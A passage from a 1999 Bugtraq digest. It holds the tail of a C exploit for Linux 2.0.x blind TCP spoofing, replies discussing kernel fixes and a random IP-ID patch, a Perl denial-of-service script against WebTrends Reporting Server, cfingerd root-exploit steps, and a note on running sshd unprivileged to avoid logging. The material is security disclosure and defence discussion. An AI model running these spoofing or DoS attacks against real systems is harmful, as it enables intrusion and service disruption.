  build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
            target, 0, 0, buf);
  do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
  write_ip (sock, buf, IP_H + ICMP_ECHO_H);
  do
    {
      n = read (icmp_sock, buf2, 200);
      addr = ((struct iphdr *) buf2)->saddr;
    }
  while (addr != target);
  return ntohs (((struct iphdr *) buf2)->id);
}

  static int first_try;


int
is_bigger ()
{
  static unsigned short id = 0, tmp;
  usleep (10000);
  tmp = get_id ();
  if (tmp == id + 1)
    {
      id = tmp;
      return 0;
    }
  else if (tmp == id + 2)
    {
      id = tmp;
      return 1;
    }
  else
    {
      if (first_try)
        {
          id = tmp;
          first_try = 0;
          return 0;
        }
      fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
      exit (1);
    }
}

void
probe (unsigned int ack)
{
  char buf[200];
  usleep (10000);
  build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
  build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
            target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H);
  write_ip (sock, buf, IP_H + TCP_H);
}

void
send_data (unsigned int ack, char *rant)
{
  char * buf=alloca(200+strlen(rant));
  build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen
(rant), buf + IP_H);
  build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
            target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
  write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
}

void
send_syn ()
{
  char buf[200];
  build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
  build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
            target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H);
  write_ip (sock, buf, IP_H + TCP_H);
}

#define MESSAGE "Check out netstat on this host :)\n"


void
send_reset ()
{
  char buf[200];
  build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0,
0, buf + IP_H);
  build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
            target, 0, 0, buf);
  do_checksum (buf, IPPROTO_TCP, TCP_H);
  write_ip (sock, buf, IP_H + TCP_H);
}


#define LOTS ((unsigned int)(1<<30))
main (int argc, char **argv)
{
  unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
  int i;
  char myhost[100];
  struct hostent *ht;
  if (argc != 5)
    {
      printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n",
argv[0]);
      exit (1);
    }
  gethostname (myhost, 100);
  ht = gethostbyname (myhost);
  if (!ht)
    {
      printf ("Your system is screwed.\n");
      exit (1);
    }
  myaddr = *(unsigned long *) (ht->h_addr);
  target = inet_addr (argv[1]);
  target_port = atoi (argv[2]);
  spoofed = inet_addr (argv[3]);
  spoofed_port = atoi (argv[4]);
  sock = open_raw_sock (IPPROTO_RAW);
  icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
  if (sock <= 0 || icmp_sock <= 0)
    {
      perror ("raw sockets");
      exit (1);
    }
  packid = getpid () * 256;
  fprintf(stderr,"Checking for IP id increments\n");
first_try=1;
  for (i = 0; i < 5; i++)
  {
    is_bigger ();
    sleep(1);
    fprintf(stderr,"#");
  }
  send_syn ();
  fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent
SYN+ACK...");
  for (i = 0; i < 33; i++)
    {
      fprintf (stderr, "#");
      sleep (1);
    }
  fprintf (stderr, "\nack_seq accuracy:");
first_try=1;
  is_bigger();
  probe (LOTS);
  if (is_bigger ())
    seq_high = LOTS;
  else
    seq_low = LOTS;
  probe (2 * LOTS);
  if (is_bigger ())
    seq_high = 2 * LOTS;
  else
    seq_low = 2 * LOTS;
  probe (3 * LOTS);
  if (is_bigger ())
    seq_high = 3 * LOTS;
  else
    seq_low = 3 * LOTS;
  seq_toohigh = seq_high;
  if (seq_high == 0 || seq_low == 0)
    {
      fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
      send_reset ();
      exit (0);
    }

  do
    {
      fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
      if (seq_high > seq_low)
        seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
      else
        seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
      probe (seq_curr);
      if (is_bigger ())
        seq_high = seq_curr;
      else
        seq_low = seq_curr;
      probe (seq_toohigh);
      if (!is_bigger ())
        break;
//      getchar();
    }
  while ((unsigned int) (seq_high - seq_low) > 1);
  fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
  send_data (seq_curr, MESSAGE);
  fprintf (stderr, "Press any key to send reset.\n");
  getchar ();
  send_reset ();

}
_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others (begin): rponse(1/7) :
_________________________________________________________________________________________________________

Hello,

> I notified kernel mantainers in May, but they didn't seem interested.

Perhaps everyone cares about 2.2 and 2.3 only these days.

>       So, when an attacker sends (as a third packet of tcp handshake) a
> packet with too small ack_seq, the server sends no packets (doesn't it
> violate RFC793 ?). When a packet with too big ack_seq is sent, the server
> sends a packet (with a reset flag).

I've first heard of this behavior from Coder's IP-spoof.2.  He didn't
realize this was a bug until I told him, though.

My secure-linux patch for 2.0.33 included a fix for this (and a few
other bugfixes, all enabled with its CONFIG_SECURE_BUGFIX option):

+#ifdef CONFIG_SECURE_BUGFIX
+       return 0;
+#else
        return 1;
+#endif

That's the last "return" in tcp_ack(), in linux/net/ipv4/tcp_input.c.
A zero return from tcp_ack() means a failed handshake, and generates
an RST packet.  Then 2.0.34 came out, and some of my bugfixes got in,
including this one.  From patch-2.0.34.gz:

-       return 1;
+       return 0;

So, the version of my patch for 2.0.34 didn't need to fix this any
more.  Of course, future updates of the patch I was making based on
the latest one, and never bothered to check for this bug again.

Now, after your post, I am looking at patch-2.0.35.gz:

-       return 0;
+       return 1;

So, the "feature" got re-introduced in 2.0.35.  I don't know of the
reason for this.  I can only guess that the other major TCP changes
in 2.0.35 were originally based on a version of the code older than
the one in 2.0.34, but only got into 2.0.35.  The other guess is, of
course, that this change caused problems in 2.0.34, but I doubt it.

>       Now let's recall another Linux feature. Many OSes (including Linux)
> assign to ID field of an outgoing IP datagram consecutive, increasing
> numbers (we forget about fragmentation here; irrelevant in this case). That

Somehow I didn't think of this at the time (was before this ID stuff
got to BugTraq), so I tried playing with packet count obtained from
the router via SNMP.  Never got my exploit reliable enough, though.

>       At the end of this post I enclosed an exploit; don't use it without
> the permission of the target host's admin. I tested it on 2.0.37, 36 and 30;
> probably all 2.0.x are affected. It requires libnet (which can be downloaded

Except for 2.0.34 and 2.0.33 with my patch, I believe.  I would
appreciate it if you could test the exploit on any of those, so that
I could put the fix back into my patch for 2.0.37.

Signed,
Solar Designer

________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others : rponse (2/7):
________________________________________________________________________________________________________


> So, the version of my patch for 2.0.34 didn't need to fix this any
> more.  Of course, future updates of the patch I was making based on
> the latest one, and never bothered to check for this bug again.
>
> Now, after your post, I am looking at patch-2.0.35.gz:
>
> -     return 0;
> +     return 1;
>
> So, the "feature" got re-introduced in 2.0.35.  I don't know of the
> reason for this.  I can only guess that the other major TCP changes

It was put back into 2.0.35 because the "fix" caused interoperability
problems with many other stacks.

Alan

_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others : rponse (3/7) :
_________________________________________________________________________________________________________

On Sun, Aug 01, 1999 at 01:10:06AM +0200, Nergal wrote:
>       Now let's recall another Linux feature. Many OSes (including Linux)
> assign to ID field of an outgoing IP datagram consecutive, increasing
> numbers (we forget about fragmentation here; irrelevant in this case). That
> enables anyone to determine the number of packets sent by host A: it's enough
> to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
> seconds (or perform some other actions), then again ping host A. The
> difference between ID fields of received ICMP_REPLY packets is equal to (the
> number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
> this technique.

Re,

        i think that a consecutive IP id now can be considered
        a weakness in IP stacks. Using it you today are able
        at least to scan spoofed, to guess host traffic and
        you can use it when you need to know if the target host
        of your spoofed packet answered. Here is a patch for
        linux 2.0.36, maybe it isn't SMP safe so don't use it
        if your linux box have more than one CPU. Note: the name
        of this patch are 'True random id', however this isn't
        true, a better name is 'Truly random id'. There are
        a lot of 'better possible patchs' to fix this problem, but
        this patch is old and writed in 30 min. so i'm interested
        in your comment about how to implement a better patch.

bye,
antirez

--
Salvatore Sanfilippo      antirez@speedcom.it     antirez@alicomitalia.it
ALICOM snc  Tel: +39-0871-403522  Fax: +39-0871-41960 Web: www.alicom.com
                 try hping: http://www.kyuzz.org/antirez
FreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBarald

_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others : rponse (4/7) :
_________________________________________________________________________________________________________

> On Sun, Aug 01, 1999 at 01:10:06AM +0200, Nergal wrote:
> >     Now let's recall another Linux feature. Many OSes (including Linux)
> > assign to ID field of an outgoing IP datagram consecutive, increasing
> > numbers (we forget about fragmentation here; irrelevant in this case). That
> > enables anyone to determine the number of packets sent by host A: it's
enough
> > to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
> > seconds (or perform some other actions), then again ping host A. The
> > difference between ID fields of received ICMP_REPLY packets is equal to (the
> > number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
> > this technique.
>
> Re,
>
>       i think that a consecutive IP id now can be considered
>       a weakness in IP stacks. Using it you today are able
>       at least to scan spoofed, to guess host traffic and
>       you can use it when you need to know if the target host
>       of your spoofed packet answered. Here is a patch for
>       linux 2.0.36, maybe it isn't SMP safe so don't use it
>       if your linux box have more than one CPU. Note: the name
>       of this patch are 'True random id', however this isn't
>       true, a better name is 'Truly random id'. There are
>       a lot of 'better possible patchs' to fix this problem, but
>       this patch is old and writed in 30 min. so i'm interested
>       in your comment about how to implement a better patch.

Without having done an analysis of the pseudo-random number generator
in the Linux patch provided, I have a few comments to make.

This situation is very similar to the resolver problem.  For a
reminder about the resolver issue we were solving, see

        http://www.openbsd.org/advisories/res_random

Wow.  April 22, 1997.  That's before OpenBSD 2.1 was released, you
know, the release that was almost impossible to install from CD...

OpenBSD 2.5 solves this by using the same non-repeating random number
generator that we used to solve the resolver problem.  The same code
simply gets moved into the kernel.

Basically, you do not want to make that field random using a stock
random number generator, as close repeats (same number repeated in
close proximity to a previous occurance) can cause grotesque errors in
fragment reassembly at the destination.  The existing method of using
ip_id++, avoids such problems .... as well as they can be avoided in a
16-bit identifier space.  If you don't believe me, heck, just set the
ip_id to 31337 each time and see how well IP de-fragmentation suddenly
works..

Hence, what you really want is a pseudo random number generator which
is fairly strong (in a 16 bit space, hah), but cleverly avoids
re-using the same number in close proximity... I believe that this
would solve your problem best.

For more details, see:

        http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/ip_id.c?rev=1.1

In our case, this is called in the following places...

netinet/ip_ip4.c:    ipo->ip_id = ip_randomid();
netinet/ip_mroute.c:    ip_copy->ip_id = ip_randomid();
netinet/ip_output.c:            ip->ip_id = ip_randomid();
netinet/raw_ip.c:                       ip->ip_id = ip_randomid();
netinet6/ipv6_trans.c:  ip->ip_id = ip_randomid();

Enjoy.

_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others : Rponse (5/7) :
_________________________________________________________________________________________________________

>
> It was put back into 2.0.35 because the "fix" caused interoperability
> problems with many other stacks.

I've discussed those interoperability problems with Alan (thanks!),
and have now updated my 2.0.37 patch to include a fix that shouldn't
cause them any more:

        http://www.false.com/security/linux/

I must also thank Nergal for testing the patch.

Signed,
Solar Designer

_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others : Rponse (6/7):
_________________________________________________________________________________________________________

In article <19990806123911.A1147@speedcom.it>,
Salvatore Sanfilippo -antirez-  <antirez@speedcom.it> wrote:
>       i think that a consecutive IP id now can be considered
>       a weakness in IP stacks. [...] Here is a patch for
>       linux 2.0.36 [...] 'Truly random id' [...]

Your patch isn't secure.  It uses a weak pseudo-random number
generator to generate id's, and an attacker can just crack the
PRNG to predict what id's will be used in the future.

I think you probably want to use /dev/urandom to generate your
IP id's, to prevent this attack.  (Or use a variant of Bellovin's
RFC 1948, adapted to generate IP id's instead of TCP ISN's.)

_________________________________________________________________________________________________________
1.9-:Linux blind TCP spoofing, act II + others : Rponse (7/7):
_________________________________________________________________________________________________________

A secure patch is work in progress thanks to precious
advices from Solar Designer and Theo de Raadt.
I'll send this patch to bugtraq when done.
Please, if you are some good links about how to
is possible to compute N for 'X^2 mod N' generator
in real-time or links about others hard to predict
RNG send me an email.

antirez

On Sat, Aug 07, 1999 at 09:58:10AM -0700, David Wagner wrote:
> In article <19990806123911.A1147@speedcom.it>,
> Salvatore Sanfilippo -antirez-  <antirez@speedcom.it> wrote:
> >     i think that a consecutive IP id now can be considered
> >     a weakness in IP stacks. [...] Here is a patch for
> >     linux 2.0.36 [...] 'Truly random id' [...]
>
> Your patch isn't secure.  It uses a weak pseudo-random number
> generator to generate id's, and an attacker can just crack the
> PRNG to predict what id's will be used in the future.
>
> I think you probably want to use /dev/urandom to generate your
> IP id's, to prevent this attack.  (Or use a variant of Bellovin's
> RFC 1948, adapted to generate IP id's instead of TCP ISN's.)

--
Salvatore Sanfilippo      antirez@speedcom.it     antirez@alicomitalia.it
ALICOM snc  Tel: +39-0871-403522  Fax: +39-0871-41960 Web: www.alicom.com
                 try hping: http://www.kyuzz.org/antirez
FreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBaraldiniFreeSilviaBarald

=======================================================
1.9-:Linux blind TCP spoofing, act II + others (End):
________________________________________________________________________________________________________





_______________________________________________________________________________________________________
1.10-:Gnumeric potential security hole.(begin):
===============================================

The Gnumeric spreadsheet contains a number of "plugins".  Some of
these plugins allow users to define functions in Perl, Python and
Guile and export those to the Gnumeric engine.

The Guile plugin was exporting a dangerous function that allowed any
user to execute arbitrary scheme code.  Which means that a gnumeric
spredsheet file might have contained malicious code and it would have
been executed when Gnumeric evaluates the contents of the cell.

To fix this you can either:

   1. Upgrade your Gnumeric to a new version of it.
   2. You can remove the libgnumguile plugin from the system.

best wishes,
Miguel

diff -cr linux-2.0.36/Documentation/Configure.help linux-2.0.36-hack/Documentation/Configure.help
*** linux-2.0.36/Documentation/Configure.help   Sun Nov 15 19:32:42 1998
--- linux-2.0.36-hack/Documentation/Configure.help      Sun Dec 27 15:48:18 1998
***************
*** 1336,1341 ****
--- 1336,1349 ----
    hence it is recommended that you say Y here unless you really know
    what you're doing.

+ IP: True random id
+ CONFIG_ID_RAND
+   This supplies true random ip id field in order to prevent id abuse
+   in port scanning and in outgoing packets traffic guessing.
+   See http://www.geek-girl.com/bugtraq/1998_4/0609.html for more
+   informations on this topic.
+   Warning: 256 Kbytes needed.
+
  IP: Allow large windows (not recommend if <16MB of memory)
  CONFIG_SKB_LARGE
    On high speed, long distance networks the performance limit on
diff -cr linux-2.0.36/net/ipv4/Config.in linux-2.0.36-hack/net/ipv4/Config.in
*** linux-2.0.36/net/ipv4/Config.in     Thu Jun  4 00:17:50 1998
--- linux-2.0.36-hack/net/ipv4/Config.in        Sun Dec 27 15:01:53 1998
***************
*** 47,50 ****
--- 47,51 ----
  bool 'IP: Disable Path MTU Discovery (normally enabled)' CONFIG_NO_PATH_MTU_DISCOVERY
  #bool 'IP: Disable NAGLE algorithm (normally enabled)' CONFIG_TCP_NAGLE_OFF
  bool 'IP: Drop source routed frames' CONFIG_IP_NOSR
+ bool 'IP: True random id' CONFIG_ID_RAND
  bool 'IP: Allow large windows (not recommended if <16Mb of memory)' CONFIG_SKB_LARGE
diff -cr linux-2.0.36/net/ipv4/ip_forward.c linux-2.0.36-hack/net/ipv4/ip_forward.c
*** linux-2.0.36/net/ipv4/ip_forward.c  Thu Jun  4 00:17:50 1998
--- linux-2.0.36-hack/net/ipv4/ip_forward.c     Sat Dec 26 21:47:15 1998
***************
*** 77,83 ****
--- 77,87 ----
        iph->protocol   =       IPPROTO_IPIP;
        iph->ihl        =       5;
        iph->tot_len    =       htons(skb->len + len);  /* Anand, ernet */
+ #ifdef CONFIG_ID_RAND
+       iph->id         =       htons(getrandid());
+ #else
        iph->id         =       htons(ip_id_count++);
+ #endif
        ip_send_check(iph);

        skb->dev = out;
diff -cr linux-2.0.36/net/ipv4/ip_output.c linux-2.0.36-hack/net/ipv4/ip_output.c
*** linux-2.0.36/net/ipv4/ip_output.c   Thu Jun  4 00:17:50 1998
--- linux-2.0.36-hack/net/ipv4/ip_output.c      Sun Dec 27 15:44:05 1998
***************
*** 30,35 ****
--- 30,36 ----
   *            Juan Jose Ciarlante:    sk/skb source address rewriting
   *    Elena Apolinario Fdez de Sousa,:ipmr_forward never received multicast
   *    Juan-Mariano de Goyeneche       traffic generated locally.
+  *    Salvatore Sanfilippo    :       IP id random. <antirez@seclab.com>
   */

  #include <asm/segment.h>
***************
*** 265,271 ****
--- 266,276 ----
        return mac;
  }

+ #ifdef CONFIG_ID_RAND
+ unsigned short getrandid(void);
+ #else
  int ip_id_count = 0;
+ #endif

  /*
   * This routine builds the appropriate hardware/IP headers for
***************
*** 483,489 ****
--- 488,498 ----
                        add_to_send_queue(sk, skb);
                        /* fall through */
                case 1:
+ #ifdef CONFIG_ID_RAND
+                       iph->id = htons(getrandid());
+ #else
                        iph->id = htons(ip_id_count++);
+ #endif
        }

        skb->free = free;
***************
*** 751,757 ****
--- 760,770 ----
                        iph->ihl=5;
                        iph->tos=sk->ip_tos;
                        iph->tot_len = htons(length);
+ #ifdef CONFIG_ID_RAND
+                       iph->id=htons(getrandid());
+ #else
                        iph->id=htons(ip_id_count++);
+ #endif
                        iph->frag_off = 0;
                        iph->ttl=sk->ip_ttl;
                        iph->protocol=type;
***************
*** 853,860 ****
        /*
         *      Get an identifier
         */
!
        id = htons(ip_id_count++);

        /*
         *      Being outputting the bytes.
--- 866,877 ----
        /*
         *      Get an identifier
         */
!
! #ifdef CONFIG_ID_RAND
!       id = htons(getrandid());
! #else
        id = htons(ip_id_count++);
+ #endif

        /*
         *      Being outputting the bytes.
***************
*** 1209,1211 ****
--- 1226,1304 ----
  #endif
  }

+ #ifdef CONFIG_ID_RAND
+ unsigned int random(void)
+ {
+         static unsigned long seed=152L;
+         seed=seed*69069L+1;
+         return seed^jiffies;
+ }
+
+ #define BIT 16
+ #define M (1 << BIT)
+ #define N ((1 << BIT) - 1)
+ #define RANDOM (random() & N)
+
+ void swap(unsigned short *a, unsigned short *b)
+ {
+       unsigned short t;
+       t = *a;
+       *a = *b;
+       *b = t;
+ }
+
+ unsigned short getrandid(void)
+ {
+       static unsigned short vect1[M];
+       static unsigned short vect2[M];
+       static int status = 0;
+       static int c = 0;
+
+       if (status == 1)
+       {
+               if (c == N)
+                       status = 2;
+
+               swap(&vect2[c], &vect2[RANDOM]);
+               c++; c&=N;
+               return vect1[c];
+       }
+
+       if (status == 2)
+       {
+               if (c == N)
+                       status = 1;
+
+               swap(&vect1[c], &vect1[RANDOM]);
+               c++; c&=N;
+               return vect2[c];
+       }
+
+       if (status == 0)        /* initial shuffling */
+       {
+               register int j;
+
+               for (j = 0; j < M; j++)
+                       vect2[j] = vect1[j] = j;
+
+               for (j = 0; j < M; j++)
+                       swap(&vect1[j], &vect1[RANDOM]);
+
+               status = 1;
+               printk(KERN_INFO "IP id true rand: initial shuffling completed\n");
+       }
+
+       if (status == 1)
+       {
+               if (c == N)
+                       status = 2;
+
+               swap(&vect2[c], &vect2[RANDOM]);
+               c++; c&=N;
+               return vect1[c];
+       }
+
+       printk(KERN_WARNING "Warning, getrandid() status = %d\n", status);
+       return RANDOM;
+ }
+ #endif /* CONFIG_ID_RAND */
diff -cr linux-2.0.36/net/ipv4/raw.c linux-2.0.36-hack/net/ipv4/raw.c
*** linux-2.0.36/net/ipv4/raw.c Thu Jun  4 00:17:50 1998
--- linux-2.0.36-hack/net/ipv4/raw.c    Sat Dec 26 21:56:37 1998
***************
*** 308,314 ****
--- 308,318 ----
                 *      ip_build_xmit clean (well less messy).
                 */
                if (!iph->id)
+ #ifdef CONFIG_ID_RAND
+                       iph->id = htons(getrandid());
+ #else
                        iph->id = htons(ip_id_count++);
+ #endif
                iph->check=ip_fast_csum((unsigned char *)iph, iph->ihl);
        }
  }
diff -cr linux-2.0.36/net/ipv4/tcp_output.c linux-2.0.36-hack/net/ipv4/tcp_output.c
*** linux-2.0.36/net/ipv4/tcp_output.c  Sun Nov 15 19:33:22 1998
--- linux-2.0.36-hack/net/ipv4/tcp_output.c     Sat Dec 26 21:46:20 1998
***************
*** 523,529 ****
--- 523,534 ----
                                            skb->localroute, sk->bound_device);
                }

+ #ifdef CONFIG_ID_RAND
+               iph->id = htons(getrandid());
+ #else
                iph->id = htons(ip_id_count++);
+ #endif
+
  #ifndef CONFIG_NO_PATH_MTU_DISCOVERY
                if (rt && ntohs(iph->tot_len) > rt->rt_mtu)
                        iph->frag_off &= ~htons(IP_DF);
diff -cr linux-2.0.36/net/netsyms.c linux-2.0.36-hack/net/netsyms.c
*** linux-2.0.36/net/netsyms.c  Mon Jul 13 22:47:41 1998
--- linux-2.0.36-hack/net/netsyms.c     Sat Dec 26 21:53:33 1998
***************
*** 107,113 ****
--- 107,115 ----
        X(ip_rt_put),
        X(arp_send),
        X(arp_bind_cache),
+ #ifndef CONFIG_ID_RAND
        X(ip_id_count),
+ #endif
        X(ip_send_check),
        X(ip_forward),
        X(sysctl_ip_forward),

============================================
1.10-:Gnumeric potential security hole.(End)
_______________________________________________________________________________________________________





_______________________________________________________________________________________________________
1.11-:Paranoid? Running SSHD as normal users. (begin):
======================================================

This could be good.. But this could be bad. Running on a system with out
the shadow password suite, then this would work very easily,
running on a machine with a shadow password suite, it would atleast
require the shadow file to be group writeable to the GID you run
the program as. Which in most cases, shadow passwords are never readable
to a regular users group, otherwise what is the point of the shadow suite?

I personally am using this to my advantage, and wouldn't call it a bug,
but figured I would let you all, who may not have thought about this know.

If a non-priv'd user were to download the ssh source to their directory,
compile it with something like:

./configure --prefix=PREFIX=/home/user/ssh --sysconfdir=/home/user/ssh/etc/

That will configure ssh to put the bins and sbins in ~/ssh, and to put all
files that would be in /etc/  into /home/user/ssh/etc/

You can then run make and make install, which will generate your
ssh_host_key and all related files.

The user would then need to edit the sshd_config, and change the port to
> 1024 (i chose 2222), make sure its "use login no", unless login is
suid.. If login is suid, (i don't see why it would be, and it shouldn't
be), then /etc/shadow wouldn't need to be readable. And then change the
runpid to a writable directory to the user "~/ssh/var/".

I chose to do RSA authentication, so I used ssh-keygen to create a key
on the box side, and then put my identity.pub from my client, into
~/.ssh/authorized_keys, run your newly compiled sshd ~/ssh-1.2.27/sshd,
and it should read the correct config files, and launch ssh as 'user' on
port 2222.

You can then ssh to it, with just your RSA password (if you used a
password).

The good: If SSH had a remote BO, the only thing compromised is anything
           in the group that /etc/shadow was r+w by.

The Bad: The user is not put into wtmp/utmp files.. and if they defined
         their own sys files, or modified it in the ssh source, to not do
         syslogging, then you wouldn't see any information about it in
         syslog either. Which of course would make tracking users a little
         harder, unless you have something that records processes, which
         is usually pretty processor intensive. Without the marks of the
         utmp/wtmp you will of course not see them in a 'w' or a 'who',
         and you will not gain control of your tty either:


<logging in with RSA>

/dev/ttyp2: Operation not permitted
[server]-[user] ~*

user  15859  0.1  0.4  2184   784  p2 S    16:21   0:00 -bash
crw-rw-rw-   1 root     root       3,   2 Aug  4 16:21 /dev/ttyp2

You will also note the following error in log going along with the above
problems with allocating a tty:

Aug  4 16:21:42 server sshd[15857]: debug: Allocating pty.
Aug  4 16:21:42 server sshd[15857]: debug: Ignoring unsupported tty mode opcode
11 (0xb)
Aug  4 16:21:42 server sshd[15857]: debug: Forking shell.
Aug  4 16:21:42 server sshd[15857]: debug: Entering interactive session.


If a user tries to do this without /etc/shadow being readable to them, or
their group, you will notice in your debug log:

Aug  4 16:21:29 server sshd[15855]: debug: Can't find user's shadow - access
denied.

(unless of course, they made it so it doesn't log to syslog)



Sorry for the length, just thought I'd pass it on, for those who hadn't
already thought of this.


Erik Parker
eparker@mindsec.com

_________________________________________________________________________________________________________
1.11-:Paranoid? Running SSHD as normal users ; rponse (1/1)
_________________________________________________________________________________________________________

pc@cyclotron.bombshelter.net  pointed out to me:

> This could be good.. But this could be bad. Running on a system with out
> the shadow password suite, then this would work very easily,
> running on a machine with a shadow password suite, it would atleast
> require the shadow file to be group writeable to the GID you run
> the program as. Which in most cases, shadow passwords are never readable
> to a regular users group, otherwise what is the point of the shadow suite?


require the shadow file to be group READABLE.. Which again, it never
should be group readable to average users. However a lot of machines have
a group readable program, for programs like xlock, and other ones that
don't need to run as root, but do need to read that file.

> The good: If SSH had a remote BO, the only thing compromised is anything
>          in the group that /etc/shadow was r+w by.


And another mistake, obviously, if the shadow file is r+w to the person
who compromised it, they own the entire box. I don't know how I overlooked
that statement. I meant g+r, so its group readable..

And as Alan cox pointed out..

It might mean more trouble for the user logged in that way, if it was
being used in a legitimate way.. Because whoever owned the tty they are
sitting on, could easily write to their term.

Erik Parker

===================================================
1.11-:Paranoid? Running SSHD as normal users. (End)
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.12 Remote DoS of WebTrends Enterprise Reporting Server (begin):
=================================================================

Hi,

WebTrends Enterprise Reporting Server version 1.5 (Linux/Solaris) is vulnerable
to a denial of service attack utilizing the Content-length field passed to
the HTTP daemon. If a negative Content-length is passed to the daemon after a
POST method has been called, the server will stop responding. WebTrends has been
notified and a patch is supposedly in the works. Attached is an example script
to demonstrate the problem.

Version: 1.5 (1.5a has not been tested)
OS: Linux 2.2.x and Solaris (v?)
License: Full

Thanks,
rpc <jared@antisocial.com>


#!/usr/bin/perl -w
# Example DoS against WebTrends Enterprise Reporting Server
# 8/8/99
# rpc <jared@antisocial.com>

use IO::Socket;

die "usage: $0 <host> <port>" unless (@ARGV == 2);

($host, $port) = @ARGV;


$s = IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp') 
or die "Can't create socket.";

print $s "POST /\r\n";
print $s "Content-type: text/plain\r\n";
print $s "Content-length: -1", "\r\n"x5;

print "done.\n";

_________________________________________________________________________________________________________
1.12 Remote DoS of WebTrends Enterprise Reporting Server : reponse (1/1) :
_________________________________________________________________________________________________________

Hi there,

At 1:55 +0200 10-08-1999, Simon Coggins wrote:
>I'm sure your all on the list but just incase.
>

>----- Original Message -----
>From: <psychoid@GMX.NET>

>> qident does not check sucessfully for spaces and characters
>> as like *, ! and @.
>>
>> When using an ident as like "@o ! ! !", o would be treated as
>> host, the parameters which are left, would be enhanced by the number of
>> spaces provided by the ident.

thanks for the report, no I am not on bugtraq, I rely on
people in there contacting us to forward what's relevant ;)

As reported I don't think this problem exists on undernet's
codebase, since version .02 or such the reply of ident is
strongly checked and allows a very restricted set of chars,
dropping off (either by replacing them with _ or by forcing
them to terminate the userid) basically any non plain ascii
char and any char that has a special meaning to the irc
protocol.

Should something have slipped out of the checks.. jst report
it to me and will be fixed on the fly, as of now I think that
Undernet's ircu is safe from this kind of exploit.

Regards,

Andrea aka Nemesi
Undernet's coders committee.

[P.S.: Why there are on bugtraq 50 persons unable to tell their
 "vacation" message to not be sent to the posters of the mailing
 lists ? Lameness....]

===============================================================
1.12 Remote DoS of WebTrends Enterprise Reporting Server (End):
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.13-:Severe bug in cfingerd before 1.4.0 (begin)
=================================================

Bugtraq Security Advisory
=========================

  A serious bug in cfingerd before version 1.4.0 has been reported.
  It is present in all versions of cfingerd from 1.2.0 up to any
  version of 1.3.2.  If configured accordingly this bug enables any
  local user to execute random programs with root priviledges.

  Although I haven't been quite verbose with development of cfingerd,
  Ken Hollis (the original author) has handed maintainership over to
  me a while ago.  I did some development and fixed some security
  related bugs, but never made an official release.  This is done now.

Affected systems
----------------

  All systems running a version of cfingerd beginning with version
  1.2.0 and before version 1.4.0 are affected.

  You are safe if you have disabled ALLOW_EXECUTION in your
  cfingerd.conf file in section "internal_config", i.e. that file
  contains a line "-ALLOW_EXECUTION".

  This is the default configuration of this package.  If you use the
  default cfingerd.conf file as shipped with the distribution you are
  safe.  You should still upgrade.

Recommended action
------------------

  1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file.

  2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found
      at the primary site
      ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or
      ftp://metalab.unc.edu/pub/Linux/system/network/finger/ .

Exploit
-------

  The exploit is quite simple.  Thanks go to Tadek Knapik
  <tadek@nautilus.uwoj.krakow.pl> who has informed me.

  You need to add

    $exec /tmp/relinq

  to your ~/.plan file.  Then compile the following relinq.c file in
  /tmp:

    #include <stdio.h>

    void main()
    {
        printf("Root exploit test\n");
        setregid(0, 0);
        setreuid(0, 0);
        printf("User: %d, group: %d.\n", getuid(), getgid());
    }

Checksum
--------

  File:  
ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4.0.tar.gz
  MD5sum: dcc25e89ba1dad6497365429b1db2909

Regards,

        Joey

-- 
Experience is something you don't get until just after you need it.

=================================================
1.13-:Severe bug in cfingerd before 1.4.0 (End) :
_________________________________________________________________________________________________________






_________________________________________________________________________________________________________
1.14-:serious problem in netbsd/openbsd procfs/fdesc (begin) :
==============================================================



Greetings.

